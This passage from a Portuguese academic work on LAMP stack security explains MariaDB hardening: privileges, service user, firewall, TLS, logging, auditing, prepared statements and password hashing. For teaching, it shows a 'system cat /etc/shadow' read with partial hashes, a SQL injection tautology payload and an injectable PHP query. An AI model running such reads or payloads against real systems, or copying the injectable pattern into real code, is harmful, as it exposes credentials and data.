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partir de qualquer rede; IP ou nome de domínio, em que o utilizador só pode fazer uma 
ligação à base de dados a partir do domínio especificado; máscara de rede, utilizado para 
abranger um maior intervalo de IPs possíveis de ligação, por exemplo 192.168.1.0/24 
[96]. Como boa medida de segurança é recomendado a utilização de endereços literais 
em vez de wildcards. A utilização de wildcards vai permitir a atacantes tentarem uma 
ligação à base de dados a partir de um número maior de máquinas. Se o utilizador estiver 
limitado, por exemplo ao localhost, um atacante para tentar entrar na base de dados tem 
primeiro de ter acesso ao servidor [30].  
Existem vários tipos de privilégios que os utilizadores podem ter. Estes vão desde 
privilégios administrativos globais, referidos na Tabela 9, a privilégios que permitem 
realizar operações em base de dados, tabelas e colunas, assim como a execução de 
procedimentos e funções. No Anexo B.1 – Privilégios MariaDB estão presentes as tabelas 
que descrevem os vários tipos de privilégios que um utilizador pode ter.  
 
Tabela 9 - Privilégios globais 
Privilégio Descrição 
CREATE USER Criação de utilizadores. 
FILE Ler e escrever ficheiros no servidor host, a partir de 
funções como o LOAD_FILE(). O servidor da MariaDB 
tem de ter permissões para aceder a esses ficheiros.  
PROCESS Mostrar informações acerca de processos ativos a partir do 
comando SHOW PROCESSLIST. 
RELOAD Execução de comandos FLUSH. 
SHOW DATABASES Mostra todas as bases de dados do servidor. 
SHUTDOWN Permite desligar o servidor host. 
SUPER Permite executar comandos de superuser no servidor host.  
 
Na Tabela 10 estão referidos alguns privilégios relacionados com tabelas [97]. Numa 
aplicação web, é preciso ter em conta o que o utilizador da aplicação precisa para que esta 
tenha um bom funcionamento, contudo, dificilmente uma aplicação precisa de privilégios 
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administrativos globais. Para a maioria das aplicações, privilégios de SELECT, INSERT, 
UPDATE e DELETE às tabelas da base de dados da aplicação será suficiente [30]. 
 
Tabela 10 - Privilégios de tabelas 
Privilégio Descrição 
ALTER Mudar a estrutura de uma tabela existente com o ALTER 
TABLE.  
DELETE Apaga colunas de uma tabela. 
DROP Apaga uma tabela, DROP TABLE, ou uma view, DROP VIEW. 
INSERT Adiciona linhas a uma tabela. Este privilégio é possível de 
atribuir a colunas individuais.  
SELECT Lê dados de uma tabela, sendo possível atribuir este privilégio 
apenas a colunas individuais. 
UPDATE Atualiza linhas existentes numa tabela. Para atribuir este 
privilégio é necessário o privilégio SELECT na tabela. É 
possível atribuir este privilégio a colunas individuais. 
 
Na atribuição de privilégios é utilizado o comando SQL GRANT [98]. Para este exemplo 
prático, foram dadas permissões de SELECT, UPDATE, INSERT e DELETE nas tabelas 
da base de dados da aplicação, chamada "budget", com o seguinte comando: 
 
MariaDB [(none)]> grant select, insert, update, delete on 
budget.* to appweb@localhost; 
 
De seguida é possível ver os privilégios atualizados do utilizador criado, "appweb", que 
vai ser utilizado pela aplicação web para aceder à base de dados: 
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MariaDB [(none)]> show grants for appweb@localhost; 
+---------------------------------------------------------------------------+ 
| Grants for appweb@localhost                                               | 
+---------------------------------------------------------------------------+ 
| GRANT USAGE ON *.* TO 'appweb'@'localhost'          | 
| IDENTIFIED BY PASSWORD '*AD4AAB1354C65D91EA23496019ABAE9F175C5E40'      | 
+---------------------------------------------------------------------------+ 
| GRANT SELECT, INSERT, UPDATE, DELETE ON `budget`.* TO 'appweb'@'localhost'| 
+---------------------------------------------------------------------------+ 
 
O utilizador tem apenas privilégios nas tabelas da base de dados "budget", mas este 
pode consultar a base de dados information_schema. Contudo, não tem o mesmo 
nível de acesso que o utilizador root tem, como pode ser observado na Figura 11. 
Enquanto que no utilizador root são mostradas as bases de dados de administração 
mysql e performance_schema, ao utilizador sem privilégios são apenas mostradas 
as bases de dados a que tem permissões e a information_schema, que é acessível a 
todos os utilizadores, apesar de o acesso a algumas tabelas desta base de dados também 
ser impedido [88].  
 
 
Figura 11 - Informações acerca de base de dados mostrados a um utilizador sem privilégios 
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5.3 Outras configurações de segurança 
Para além dos privilégios, é preciso ter outros pontos em consideração como o utilizador 
que executa o processo da base de dados no sistema operativo, o porto utilizado pelo 
serviço e comunicações seguras utilizando o TLS entre o cliente e o servidor.  
 Execução do processo 
Em qualquer sistema operativo, a execução de aplicações e serviços estão associados a 
um utilizador. Nos sistemas Linux existem utilizadores root que têm privilégios globais, 
e outros utilizadores com permissões limitadas. O processo da MariaDB, aquando da sua 
execução, vai assumir os privilégios do utilizador que o executou, e se for executado 
como utilizador root, um utilizador da base de dados que tenha o privilégio FILE vai 
poder criar ou alterar ficheiros no servidor como utilizador root [99]. Por essa razão, 
deve ser utilizado um utilizador exclusivamente utilizado para a MariaDB, como é o caso 
do utilizador mysql, criado por omissão na instalação.  
Como demonstração, pode-se através da MariaDB executar um comando do sistema 
operativo, que vá imprimir no ecrã o conteúdo do ficheiro "etc/shadow". Este 
ficheiro é onde são guardadas as credenciais dos utilizadores descritos no ficheiro 
"etc/passwd" e só pode ser acedido com níveis de permissão root [100]. No 
exemplo seguinte é mostrado o resultado da leitura do ficheiro depois da MariaDB ter 
sido executada com o utilizador root. É possível observar que foi mostrada a informação 
do ficheiro ao utilizador: 
 
MariaDB [(none)]> system cat /etc/shadow 
root:$6$/U/5XkYxlHcPI2mF$T5b3Cy/Wsfs7AU36A/kYmi.5UTvk4qGD8f
tucXnCI2hSk2R/VbGXJSJ                                       
... 
rcrd:$6$9BvaynKFw9OarlDj$ws/E9RVhn7wKJBzpMQUg02f4aU0RRs5NXd
8QvOwOddr/O3r4BLOiHIN                                       
... 
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Abaixo está representado o resultado da execução do mesmo comando, mas desta vez a 
MariaDB foi executada com um utilizador sem privilégios, ficando visível que o 
utilizador não teve acesso ao ficheiro "/etc/shadow": 
 
MariaDB [(none)]> system cat /etc/shadow 
cat: /etc/shadow: Permission denied 
 Porto de acesso 
O porto de acesso serve de ponto de comunicação entre aplicações ou processos e são 
identificados por um número utilizados tanto no protocolo TCP como no protocolo User 
Datagram Protocol (UDP) [101]. Os números de portos são do tipo unsigned integer de 
16 bits, permitindo assim números entre 0 e 65535. Existem aplicações e serviços que 
têm portos associados, como por exemplo o Apache (80 e 443) e SSL/TLS (22). A 
MariaDB utiliza o porto 3306, sendo este o porto por omissão [102]. Apesar de o porto 
3306 ser reservado para o MySQL, é possível alterar este porto para outro que não tenha 
associado nenhum serviço ou aplicação. No ficheiro de configuração "etc/my.cnf", 
na secção do servidor, [server], indica-se o porto pretendido através da opção port: 
 
[server] 
port=50001 
 
Quando é alterado o ficheiro de configuração é sempre necessário reiniciar o serviço da 
MariaDB. Depois disso é possível verificar se as alterações foram feitas com sucesso, 
como mostrado de seguida: 
 
MariaDB [(none)]> show global variables like 'port'; 
+---------------+-------+ 
| Variable_name | Value | 
+---------------+-------+ 
| port          | 50001 | 
+---------------+-------+ 
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Um dos aspetos importantes a ter em conta, é que mesmo que se mude o porto que a 
MariaDB vai utilizar, é possível que atacantes façam um scan ao servidor e descubra os 
portos e serviços que estão abertos e a ser utilizados. Um scan deste tipo está ilustrado na 
Figura 12, onde foi utilizado o nmap com as flags do serviço e versão da aplicação [103]. 
 
 
Figura 12 - Scan dos portos de um host através do nmap 
 
Como medida de segurança, e evitando que o servidor seja alvo de scans e posteriormente 
alvo de certos tipos de ataques, possíveis depois de obtidas certas informações, configura-
se a firewall em utilização para que torne impossível este tipo de comunicações. Para esse 
efeito foi utilizado o script, presente no Anexo B.2 – Configuração firewall. Depois de 
executado o script, é possível observar na Figura 13 que o scan não conseguiu obter 
nenhuma informação acerca dos portos abertos no servidor.  
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Figura 13 - Scan de portos depois de configurada a firewall 
 
Executando o nmap com a flag --version-all, este faz uma sondagem a todos os 
portos, ao contrário das flags -sV que só sondam os portos abertos, e como mostra a 
Figura 14 também não conseguiu detetar nenhum porto [104]. 
 
 
Figura 14 - Scan de portos com a flag --version-all 
 
Para além do nmap, também se pode utilizar o Metasploit, uma aplicação para testes de 
penetração, para detetar portos de acesso [105]. Antes de o script com as regras da firewall 
ser executado, o Metasploit é capaz de fazer o scan aos portos que estão à escuta de 
ligações TCP, como mostra a Figura 15.  
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Figura 15 - Scan dos portos através do Metasploit 
 
Com a execução das regras da firewall, este não consegue fazer o scan como demonstrado 
na Figura 16. 
 
 
Figura 16 - Scan dos portos com o Metasploit depois de configurada a firewall 
 Acessos ao servidor 
Num servidor, para garantir que haja o máximo de segurança possível, umas das coisas a 
fazer-se é o controlo de acessos ao servidor, particularmente quem pode aceder a este e a 
partir de que endereço. Existem algumas maneiras de fazer este controlo, desde 
privilégios a utilizadores, a regras na firewall do servidor ou na configuração deste. 
No ficheiro de configuração da MariaDB, no Oracle Linux "/etc/my.cnf", é possível 
através da diretiva bind-address, que indica quais os endereços IP permitidos nas 
ligações ao servidor [106]. Por omissão está definido o endereço 0.0.0.0, dando acesso 
ao servidor a todos os endereços IP. Uma boa prática de segurança, é utilizar o endereço 
localhost como bind-address, e com isso impedir acessos do exterior como ilustrado 
no exemplo seguinte [107]. Neste caso, pode ser utilizado um túnel SSH para estabelecer 
uma ligação segura com o servidor e fazer a ligação à base de dados a partir do exterior. 
 
Segurança na LAMP stack | Ricardo Almeida 
 
 
52 
[rcrd@lamp ~]$ mysql -h 192.168.56.102 -u teste -p 
Enter password: 
ERROR 2003 (HY000): Can't connect to MySQL server on 
'192.168.56.102' (111 "Connection refused") 
 
Uma alternativa a esta configuração e dependendo das necessidades do servidor, é 
possível fazer o controlo de acessos na firewall do sistema, neste caso o iptables. 
Apesar de na diretiva bind-address ser possível associar apenas um endereço, por 
vezes pode ser necessário estabelecer ligações a partir de vários endereços. Nesses casos 
pode ser mais vantajoso associar o endereço 0.0.0.0 à diretiva, que vai permitir a 
ligação a partir de todos os endereços IP. Contudo, para melhorar a segurança do servidor, 
podem ser definidos os endereços a que são permitidas ligações ao servidor nas regras 
estabelecidas na firewall, e todos os endereços que não constem nessas regras não 
conseguem estabelecer uma ligação. Para isso pode ser utilizada a seguinte regra: 
 
[root@lamp ~]# iptables -A INPUT -p tcp -s 192.168.56.103 –
-dport 3306 -j ACCEPT 
 Ligações seguras 
Uma ligação ao servidor pode ser feita de diversas maneiras, via consola ou através de 
aplicações. Para que estas ligações sejam feitas de forma segura, estas podem ser feitas 
através de túneis SSH ou através de Virtual Private Networks (VPN). No entanto, existe 
outra possibilidade, que é através de comunicações encriptadas utilizando o protocolo 
TLS. O protocolo TLS tem como objetivo principal garantir a integridade e privacidade 
numa comunicação entre cliente/servidor através da encriptação das mensagens 
transmitidas, e para isso, este protocolo utiliza algoritmos de encriptação assimétrica 
[108]. Neste tipo de encriptação, são utilizadas duas chaves criptográficas diferentes, uma 
pública e uma privada, sendo que a informação encriptada com uma chave pode ser 
desencriptada com a outra [109]. Esta opção, visto que a MariaDB tem suporte por 
omissão para o protocolo TLS, pode ser uma vantagem ao uso de VPN’s ou SSH, pois 
evita-se assim a implementação dessas camadas de segurança. Com vista a verificar-se a 
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disponibilidade do protocolo TLS na instalação da MariaDB, pode recorrer-se ao 
comando "SHOW VARIABLES LIKE 'have_ssl';" [110]. Por omissão, e se a 
MariaDB foi compilada com suporte para o TLS, este vem desativo. Para que esta diretiva 
fique ativa, tem de ser especificado o caminho para a chave do servidor e os respetivos 
certificados no ficheiro de configuração do servidor, no Oracle Linux 
"etc/my.cnf.d/server.cnf", como demonstrado de seguida: 
 
[mysqld] 
ssl 
ssl-ca=/etc/mysql-ssl/ca-cert.pem 
ssl-cert=/etc/mysql-ssl/server-cert.pem 
ssl-key=/etc/mysql-ssl/server-key.pem 
 
Feita esta configuração pode ser observado abaixo que o suporte para o TLS está agora 
ativo:  
 
MariaDB [(none)]> show variables like 'have_ssl'; 
+---------------+----------+ 
| Variable_name | Value    | 
+---------------+----------+ 
| have_ssl      | YES      | 
+---------------+----------+ 
 
Para que a comunicação entre cliente e servidor seja protegida é preciso que no ficheiro 
de configuração "etc/my.cnf.d/mysql-clients.cnf" seja feita a seguinte 
configuração: 
 
[mysql] 
ssl-ca=/etc/mysql-ssl/ca-cert.pem 
ssl-cert=/etc/mysql-ssl/client-cert.pem 
ssl-key=/etc/mysql-ssl/client-key.pem   
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Para forçar a utilização do protocolo SSL/TLS nas ligações ao servidor a partir de um 
cliente, configura-se o utilizador com o parâmetro REQUIRE SSL [111]. Se a ligação 
estiver a utilizar SSL/TLS, o comando status irá mostrar informações relativas à cifra 
utilizada na opção SSL: 
 
MariaDB [(none)]> status 
-------------- 
mysql  Ver 15.1 Distrib 10.1.24-MariaDB, for Linux (x86_64) 
using readline 5.1 
... 
Current user:           teste@192.168.56.103 
SSL:                    Cipher in use is DHE-RSA-AES256-GCM-
SHA384 
Current pager:          stdout 
Using outfile:          '' 
Using delimiter:        ; 
Server:                 MariaDB 
Server version:         10.1.24-MariaDB MariaDB Server 
... 
 
Nas ligações feitas através de aplicações PHP, por exemplo, é necessário configurar a 
utilização do SSL/TLS na configuração da ligação à base de dados. Isso pode ser feito 
como mostra o exemplo seguinte: 
 
$conn = mysqli_init(); 
mysqli_ssl_set($conn, '/etc/mysql-ssl/client-
key.pem','/etc/mysql-ssl/client-cert.pem', '/etc/mysql-ssl/ca-
cert.pem', NULL, NULL); 
if(!mysqli_real_connect($conn, '192.168.56.102', 'teste', 
'teste')){ die(); } 
$res = mysqli_query($conn, 'SHOW STATUS like "SSL"'); 
print_r(mysqli_fetch_row($res)); 
mysqli_close($conn); 
 
Através da função mysqli_ssl_set() são especificados os certificados e a chave, 
que são associados à ligação da base de dados. Se a ligação for bem-sucedida, vai ser 
mostrado ao utilizador a cifra que está a ser utilizada, indicando que está a ser utilizado o 
SSL/TLS na comunicação entre a aplicação PHP e a base de dados, como mostra o 
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exemplo seguinte. Caso não esteja a utilizar o SSL/TLS, o segundo elemento do array 
fica vazio.  
 
[rcrd@lamp ~]$ php mysqli_ssl.php 
Array 
( 
    [0] => Ssl_cipher 
    [1] => DHE-RSA-AES256-GCM-SHA384 
) 
 
Utilizando o WireShark, uma aplicação utilizada para fazer sniffing da rede, é possível 
verificar os pacotes durante a comunicação e ver se a informação está encriptada ou não 
[112]. Todos os comandos executados na base de dados são passíveis de ser observados 
na comunicação, como é mostrado na Figura 17. Nesta figura é possível ver o comando 
enviado, select version(); que vai mostrar a versão da MariaDB no servidor. 
 
 
Figura 17 - Captura de pacote com query visível. 
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Quando se utiliza o SSL/TLS o tráfego vai ser encriptado, sendo impossível perceber a 
informação que é enviada para o servidor, como ilustrado na Figura 18.  
 
 
Figura 18 - Pacote encriptado. 
 
A partir da interceção dos pacotes, é possível também perceber a troca de chaves entre 
cliente e servidor para que consigam desencriptar as mensagens ao longo da comunicação 
entre os dois. É possível verificar esta situação na Figura 19. 
 
 
Figura 19 - Troca de chaves e certificados entre cliente e servidor 
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 Ficheiros de log 
Os ficheiros de log são uma ferramenta essencial para se fazer manutenção e auditoria do 
servidor da MariaDB. Com estes ficheiros é possível ver os acessos ao servidor, que tipo 
de queries foram executadas e que erros ocorreram para se puder fazer uma melhor 
manutenção. O servidor da MariaDB utiliza quatro tipos de logs: o error log, está sempre 
ativo e grava todos os erros que podem ocorrer no servidor, sendo possível também 
guardar avisos [113]; general query log, guarda todos os acessos de todos os utilizadores 
ao servidor, assim como as queries executadas, sendo útil para fins de debug e auditoria 
[113]; slow query log, guarda todas as queries para um ficheiro ou uma tabela, sendo útil 
para detetar problemas de performance [113]; binary log, guarda alterações de dados e de 
estrutura da base de dados, sendo mais aplicado em cenários de replicação [113].  
Por omissão, o error log está ativo, contudo, na versão utilizada neste projeto (MariaDB 
10.1.24), e no sistema operativo utilizado (Oracle Linux Server 7.3), este não estava ativo. 
Na documentação da MariaDB é referido que quando não está nenhum ficheiro 
especificado, é criado um ficheiro com o nome do domínio no diretório de dados, que 
neste caso seria lamp.err [114]. No entanto, este ficheiro não estava presente, nem na 
configuração nem no diretório de dados "/var/lib/mysql". Para que este ficheiro 
seja criado e comece a ser feito o logging dos erros, no ficheiro de configuração 
"/etc/my.cnf.d/server.cnf", na secção [mysqld], é necessário colocar 
log-error. No exemplo seguinte são mostradas algumas notificações relacionadas 
com o arranque do serviço da MariaDB, guardadas no error log: 
 
2017-06-27 16:19:06 140509115242752 [Note] InnoDB:  Percona 
XtraDB (http://www.percona.com) 5.6.36-82.0 started; log 
sequence number 1914018 
... 
2017-06-27 16:19:06 140509115242752 [Note] 
/usr/sbin/mysqld: ready for connections. 
Version: '10.1.24-MariaDB'  socket: 
'/var/lib/mysql/mysql.sock'  port: 50001  MariaDB Server 
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Se for pretendido mudar o ficheiro de log relativo aos erros, no ficheiro 
"/etc/my.cnf.d/server.cnf", na diretiva log-error iguala-se ao nome do 
ficheiro que se pretende, por exemplo, "var/lib/mysql/mysql_error.err".  
O general log, onde são guardadas todas as queries e ligações ao servidor, está desativo 
por omissão [115]. Para se ativar, utiliza-se a mesma metodologia que o error log, na 
secção [mysqld] introduz-se a diretiva general-log. Abaixo é mostrado o tipo de 
dados que são guardados neste log: 
 
170627 14:42:48     2 Connect   teste@192.168.56.102 as anonymous 
on 
                    2 Query     select @@version_comment limit 1 
170627 14:42:49     2 Query     show variables like '%log%' 
170627 14:44:51     2 Quit 
 
Apesar de ser interessante de um ponto de vista de segurança e auditoria ter todas as 
queries e ligações, este ficheiro pode ficar com um tamanho muito grande e tornar-se 
impraticável mantê-lo sendo essa a razão porque vem desativado por omissão [115]. Para 
auditoria, a MariaDB tem o plugin Audit para esse efeito, onde é possível escolher as 
tabelas que se quer guardar nos logs, o formato do ficheiro de log e que utilizadores vão 
ser auditados. O plugin Audit vai ser tratado na secção 5.3.6. 
Para questões de performance, o slow query log é essencial para se saber que queries 
estão a ter um grande impacto nos recursos do servidor. Por omissão este log está 
desativo, sendo necessário ativá-lo no ficheiro de configuração [116]. Para esse efeito, no 
ficheiro de configuração, na secção [mysqld] introduz-se a diretiva 
slow_query_log. Como forma de teste para este log pode ser executada a query 
SELECT SLEEP(12), que vai esperar 12 segundos para executar, ficando registada 
depois a query no log, como mostrado no exemplo seguinte: 
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# Time: 170716 12:05:25 
# User@Host: root[root] @ localhost [] 
# Thread_id: 4  Schema:   QC_hit: No 
# Query_time: 12.000443  Lock_time: 0.000000  Rows_sent: 1  
Rows_examined: 0 
# Rows_affected: 0 
SET timestamp=1500203125; 
select sleep(12); 
 Auditoria 
Na norma internacional International Organization for Standardization (ISO) 27001, 
uma das cláusulas impostas é a da auditoria interna para verificação e validação dos 
objetivos de controlo, processos e procedimentos [117]. A auditoria é uma ferramenta 
indispensável quando se pretende fazer uma monitorização da base de dados pois a partir 
desta consegue-se perceber que utilizador fez o quê na base de dados, permitindo um 
controlo maior no servidor. A MariaDB disponibiliza um plugin para esse efeito, o Audit 
[46]. Este plugin possibilita que a atividade do servidor seja guardada. Quem se conectou, 
que queries foram executadas e em que tabelas foram executadas. Neste plugin são 
disponibilizadas várias opções para que se possa configurar de acordo com as 
necessidades de cada servidor. Para que se possa utilizar, tem de se proceder à usa 
instalação. Isso consegue-se através da execução, na consola da MariaDB, do seguinte 
comando: 
 
INSTALL PLUGIN server_audit SONAME 'server_audit'; 
 
Toda a configuração do plugin é feita no ficheiro de configuração da MariaDB, 
"/etc/my.cnf" ou "/etc/my.cnf.d/server.cnf", na secção [mysqld]. 
Por omissão o logging está desativo, sendo necessário colocar no ficheiro de configuração 
a diretiva server_audit_logging. Após isto, vão ser guardadas operações que 
ocorram no servidor, como exemplificado a seguir: 
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20170717 00:55:37,lamp.localdomain,ricardo,localhost,2,0,CONNECT,budget,,0 
20170717 00:55:37,lamp.localdomain,ricardo,localhost,2,1,QUERY,budget,'select 
* from `users` where `username` = \'ricardo\' limit 1',0 
 
No exemplo seguinte é representado o template utilizado pelo ficheiro de log: 
 
[timestamp],[serverhost],[username],[host],[connectionid], 
[queryid],[operation],[database],[object],[retcode] 
 
No exemplo anterior estão representadas algumas entradas do ficheiro de log da auditoria, 
"/var/lib/mysql/server_audit.log", que indicam algumas das operações 
feitas na base de dados. Por omissão, são guardadas as operações do tipo CONNECT 
(ligações à base de dados), TABLE (tabelas afetadas pela execução da query) e QUERY 
(query executada). No Anexo B.3 – Operações suportadas pelo plugin Audit. estão 
explicados os diferentes tipos de operações suportados por este plugin. No ficheiro de 
configuração, para serem especificados os tipos de operações que são guardados, é 
utilizada a diretiva server_audit_events igualada às operações pretendidas, como 
mostrado de seguida, sendo que estas dependerão da necessidade e do propósito do 
servidor:  
 
server_audit_events=connect,table,query 
 
Analisando o template mostrado anteriormente, facilmente se consegue perceber os 
registos guardados no ficheiro de log. No exemplo do log referido anteriormente, percebe-
se que dia 17-07-2017 às 00h55min, no servidor 'lamp.localdomain', o utilizador 
'ricardo' a partir do localhost fez uma ligação à base de dados 'budget'. De 
seguida o mesmo utilizador fez uma leitura, READ, na tabela 'users' da base de dados 
'budget'. No Anexo B.4 – Ficheiro de log da auditoria estão descritos todos os campos 
presentes no ficheiro de log da auditoria.  
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 Gestão de utilizadores 
No desenvolvimento de uma aplicação tem de ser definida uma política de segurança para 
que a base de dados desta seja segura. Nesta política de segurança são definidos regras e 
regulamentos que especificam os acessos de utilizadores aos objetos da base de dados. 
Na maioria das aplicações é utilizado um modelo em que existe apenas um utilizador da 
base de dados para todos os utilizadores da aplicação, representado na Figura 20. Este 
modelo é o modelo One Big Application User. Com a utilização deste modelo, os 
mecanismos de segurança têm de ser implementados na aplicação, isto porque é a 
aplicação que reconhece os utilizadores e não a base de dados, visto que esta só reconhece 
o utilizador global utilizado pela aplicação [118]. Com isto, não são utilizadas 
funcionalidades da base de dados, como roles ou privilégios, que garantem um maior 
controlo de acessos e segurança da base de dados. 
 
 
Figura 20 - Aplicação com o modelo One Big Application User, adaptada de [119] 
 
Uma das grandes desvantagens da utilização do modelo One Big Application User é a 
incapacidade de o servidor saber o utilizador individual que executou ações no servidor 
impossibilitando uma auditoria no servidor [118]. Para que seja possível fazer uma 
auditoria, teriam de ser mais uma vez implementados mecanismos na aplicação para que 
fosse possível perceber as ações do utilizador no sistema.  
Uma alternativa ao uso deste modelo pode ser a criação de um utilizador para cada 
utilizador da aplicação, havendo uma correspondência para cada utilizador da base de 
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dados e aplicação, conforme ilustrado na Figura 21. Este modelo é o recomendado pela 
Oracle, pois assim é possível aproveitar as funcionalidades que a base de dados oferece 
para implementar os mecanismos de segurança [118]. 
 
 
Figura 21 - Um utilizador da aplicação com um utilizador correspondente na base de dados, adaptada de [119] 
 
Para além de ser possível com este modelo implementar um sistema de auditoria no 
servidor (na MariaDB através do plugin Audit) e designar roles para os vários utilizadores 
da base de dados, também tem outras vantagens como a flexibilidade que este modelo 
cria. Estando a base de dados criada, com as diversas tabelas e outras funcionalidades 
implementadas, como os roles, vai criar uma abstração da linguagem utilizada, mesmo 
que o servidor da base de dados mude. A sintaxe nas diversas linguagens SQL têm 
algumas diferenças entre elas, e com este modelo implementado e com os mecanismos 
de segurança implementados no servidor, vai evitar erros de sintaxe na implementação 
do sistema de segurança do lado da aplicação. Outra grande vantagem deste modelo é 
garantir que não há acesso indevido à base de dados mesmo que na aplicação tenha havido 
um contorno nos mecanismos de segurança implementados pois através da 
implementação de roles e privilégios aos utilizadores individuais é possível haver um 
escrutínio maior das autorizações de acesso e por isso há uma maior proteção dos dados 
[118]. 
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 Prepared Statements 
Na utilização de bases de dados é preciso ter implementadas medidas de segurança para 
assegurar a integridade dos dados e privacidade dos utilizadores. Uma dessas medidas 
pode passar pela sanitização do input dos utilizadores. Uma das vulnerabilidades que 
explora a falta deste mecanismo de segurança é o SQLi, técnica que permite explorar 
vulnerabilidades criadas na construção de queries à base de dados. Este tipo de 
vulnerabilidades é extremamente perigoso e um ataque deste tipo, se bem-sucedido, dá 
acesso a informações privilegiadas na base de dados, incluindo utilizadores, 
administradores e informações do sistema. Este ataque é possível devido a deficiências 
na validação do input dos utilizadores nos formulários de uma aplicação, como 
demonstrado no código seguinte, em que é inserido diretamente na query o valor da 
variável $search sem qualquer tipo de tratamento: 
 
//função de pesquisa na base de dados 
function pesquisa($search, mysqli $db){ 
    $result = $db->query("select `nome_bank` from `bank` 
where `nome_bank` like '%". $search ."%'"); 
    if($result){ 
        if($result->num_rows == 0){ 
            print("Não há registos para apresentar!"); 
        }else{ 
            // tratamento de resultados 
        } 
    }else{ 
        print("Não há registos para apresentar! "); 
    } 
} 
 
Este tipo de vulnerabilidade pode ser explorado de várias maneiras [92]: 
• Baseado em erros do SQL – fazer queries à base de dados que vão originar erros 
e aproveitar esses erros para apanhar informação necessária para o ataque; 
• Ataque baseado no operador UNION – este operador é utilizado para juntar 
resultados de duas ou mais expressões num único resultado; 
• Ataque cego – fazer questões de verdadeiro ou falso e utilizar o retorno a favor, 
ou utilizar o tempo que levou a responder à query executada; 
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• Tautologia – faz uso de uma condição que seja sempre verdadeira, o que vai fazer 
com que sejam apresentados resultados. 
Uma maneira simples de verificar a vulnerabilidade numa aplicação é recorrendo à 
técnica da tautologia. Para isso num campo de pesquisa ou formulário coloca-se "' or 1 
= 1;#" e se for mostrado ao utilizador todos os valores da tabela então a aplicação está 
vulnerável [92]. Na Figura 22 está representado o resultado obtido depois de realizada 
essa pesquisa. 
 
 
Figura 22 - Demonstração da vulnerabilidade SQLi 
 
Na linguagem de programação PHP são disponibilizadas algumas funções que podem ser 
utilizadas para limpar o input dos utilizadores, contudo, algumas já são desaconselhadas 
devido a problemas de segurança como é o caso da diretiva magic_quotes_gpc, a 
função addslashes() e stripslashes() assim como a função 
mysql_real_escape_string()[8][9][12]. Por serem consideradas inseguras, é 
aconselhada a utilização das prepared statements [120]. As prepared statements, 
disponíveis nos módulos mysqli, PDO entre outros, consistem em duas fases: a fase da 
preparação e a fase da execução. Na fase de preparação é dado um modelo da query ao 
servidor da base de dados para validação da sintaxe e disponibilizar os recursos para a 
sua execução [14]. Nesta fase podem ser utilizados marcadores de posição, como o ponto 
de interrogação (?), para informarem o servidor onde vão ser substituídos os valores no 
modelo preparado e, na fase da execução são colocados os valores nas posições dos 
marcadores de posição, que vão ser enviados ao servidor [14]. No servidor, a partir do 
modelo da query enviado na fase de preparação e dos valores enviados é criada uma query 
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e executada [14]. Um exemplo prático da utilização das prepared statements pode ser 
demonstrado com o código seguinte: 
 
function insereFeedback($name, $feed, mysqli $db){ 
    $stmt = $db->prepare("insert into `feedback` 
(`username`, `feedback`) values (?,?)"); 
    $stmt->bind_param("ss", $name, $feed); 
    if($query = $stmt->execute() === TRUE){ 
        header("Location: feedback.php"); 
        return true; 
    }else{ 
        echo "Erro: " . $query . "<br>" . $db->error; 
    } 
} 
 
A função bind_param() vai ligar os valores marcados na fase de preparação com 
marcadores de posição com os valores inseridos pelo utilizador [121]. Depois de os 
valores estarem ligados, a query é executada com a função execute(). 
 Algoritmos de hash 
Com a existência de ataques do tipo SQLi fica claro que do ponto de vista da segurança, 
guardar palavras-passe em texto simples na base de dados não é o mais correto. Sempre 
que uma aplicação guardar as credenciais de acesso de um utilizador, esta deve sujeitar a 
palavra-passe a um algoritmo de hashing [122]. De alguns algoritmos existentes, são 
muito conhecidos o algoritmo MD5 e as várias iterações do algoritmo SHA, 
nomeadamente o SHA-1, contudo devido à maior probabilidade de se conseguir fazer um 
ataque brute-force com sucesso a estes algoritmos, são agora considerados inseguros e 
por essa razão é recomendada a utilização do algoritmo Blowfish [122]. Este algoritmo 
faz uso de salt, que é um conjunto de informação adicionado durante o processo de hash 
para eliminar a possibilidade do output constar numa rainbow table, que é uma lista com 
valores pré-calculados de pares de hashes com o seu input original [122]. O PHP 
disponibiliza um conjunto de funções que lidam com hashes, tanto para a criação destas 
como para a verificação da sua integridade. Assim, para assegurar a integridade das 
informações, como o caso de palavras-passe, pode ser utilizado o seguinte código: 
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$hash = password_hash($password, PASSWORD_DEFAULT); 
 
Como parâmetros esta função utiliza o input do utilizador, o algoritmo a utilizar 
(PASSWORD_DEFAULT é o algoritmo utilizado pelo PHP por omissão que é o algoritmo 
Bcrypt, que utiliza o Blowfish) e opções, como o custo do algoritmo [19]. Depois de a 
informação ser tratada pelo algoritmo, esta pode ser guardada com segurança na base de 
dados da aplicação, sendo que na hash retornada pela função já está incluído o salt 
utilizado [19]. Para a verificação da integridade, é utilizada a função 
password_verify() e como parâmetros utiliza a informação fornecida num 
formulário, por exemplo, e a hash guardada na base de dados para fazer uma comparação 
das duas [20]. O código utilizado para essa verificação é o seguinte: 
 
password_verify($password, $hash); 
 
A constituição da hash é ilustrada na Figura 23. Na hash estão informações acerca do 
algoritmo utilizado, qual o salt e por fim a hash da palavra-passe.  
 
 
Figura 23 - Constituição da hash, fonte [122] 
 
No próximo capítulo são abordadas configurações de segurança para o servidor web, 
Apache HTTP Server. 
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6 Apache HTTP Server 
Neste capítulo é abordado o Apache HTTP Server. Vão ser tratados alguns dos módulos 
essenciais para uma boa abordagem à segurança no servidor web, as ligações seguras 
através do HTTPS, os Server Side Includes (SSI) e é abordada uma configuração segura 
das várias diretivas disponíveis no servidor.  
 
 
Figura 24 - Stack LAMP, adaptada de [63] 
 
O Apache HTTP Server é o componente da stack LAMP que vai receber os pedidos HTTP 
ou HTTPS. Como ilustrado na Figura 24, depois do pedido aceite, este é interpretado pelo 
servidor web: no caso de ser uma página estática, o Apache vai ler o ficheiro HTML 
presente no servidor e devolver de imediato a resposta ao utilizador; se o pedido for uma 
página dinâmica ou aplicação web, este passa pelo interpretador PHP (podendo ser outras 
como Perl ou Python), onde será feito algum processamento (requisição à base de dados 
ou memória do servidor por exemplo) para depois o PHP construir uma página HTML 
que será enviada então pelo Apache ao utilizador [66].  
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6.1 Configuração segura 
Com o intuito de deixar o Apache HTTP Server mais seguro, existem algumas diretivas 
e configurações a ter em conta. No Apache HTTP Server existem vários ficheiros de 
configuração, sendo o principal o "/etc/httpd/conf/httpd.conf". Este é o 
primeiro a ser carregado pelo serviço do Apache, seguindo-se os diretórios especificados 
